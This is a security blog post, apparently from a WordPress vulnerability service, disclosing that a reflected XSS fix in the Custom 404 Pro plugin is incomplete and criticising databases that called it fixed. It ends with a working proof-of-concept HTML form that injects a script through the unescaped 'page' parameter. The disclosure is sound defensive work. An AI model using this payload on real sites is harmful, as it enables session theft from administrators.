Being warned about vulnerabilities in WordPress plugins you use isn’t much good if you are being told that vulnerabilities have been fixed when it hasn’t. That is often a problem with data sources on vulnerabilities in WordPress plugins other than the one what underlies our service.

Yesterday an update to the plugin Custom 404 Pro had the changelog entry “Fix Reflected XSS”. In looking to see if the discoverer of that had put a report we found multiple places reporting that a vulnerability had been fixed.

Here is the WPScan Vulnerability Database:

Here is NinTechNet:

Here is Cybersecurity Help:

The problem is that the current version is still vulnerable, as we found when we starting checking over this to see if there was a vulnerability we should add to our data set.

The change made in the version they claimed fixed this was to change this line in the file /admin/views/logs.php:

21

echo $_GET['s'];

to this:

21

echo esc_html($_GET['s']);

Previously the code output user input without escaping it, which possibly leads to reflected cross-site scripting (XSS), and it was change to escape it.

If you actually look at the code around that to determine if that was exploitable, as we do when adding vulnerabilities to our data set, what you see is that that isn’t the only line of code in that file where that occurs:

14

<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />

That line wasn’t fixed in the new version.

That file is loaded when the function page_logs() runs:

18
19
20

public function page_logs() {
	include 'views/logs.php';
}

That function is run when accessing the plugin’s main admin page, which is normally only accessible to Administrators:

10

add_menu_page( 'Custom 404 Pro', 'Custom 404 Pro', 'manage_options', 'c4p-main', array( $this, 'page_logs' ), 'dashicons-chart-bar' );

Wrong Versions

Cybersecurity Help go further than the others is listing what versions are supposedly are vulnerable:

That isn’t accurate as they list all of the previous version of the plugin as being vulnerable, despite the vulnerability having not existed in all of the versions.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box, when logged in as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=c4p-main" method="POST">
<input type="hidden" name="page" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?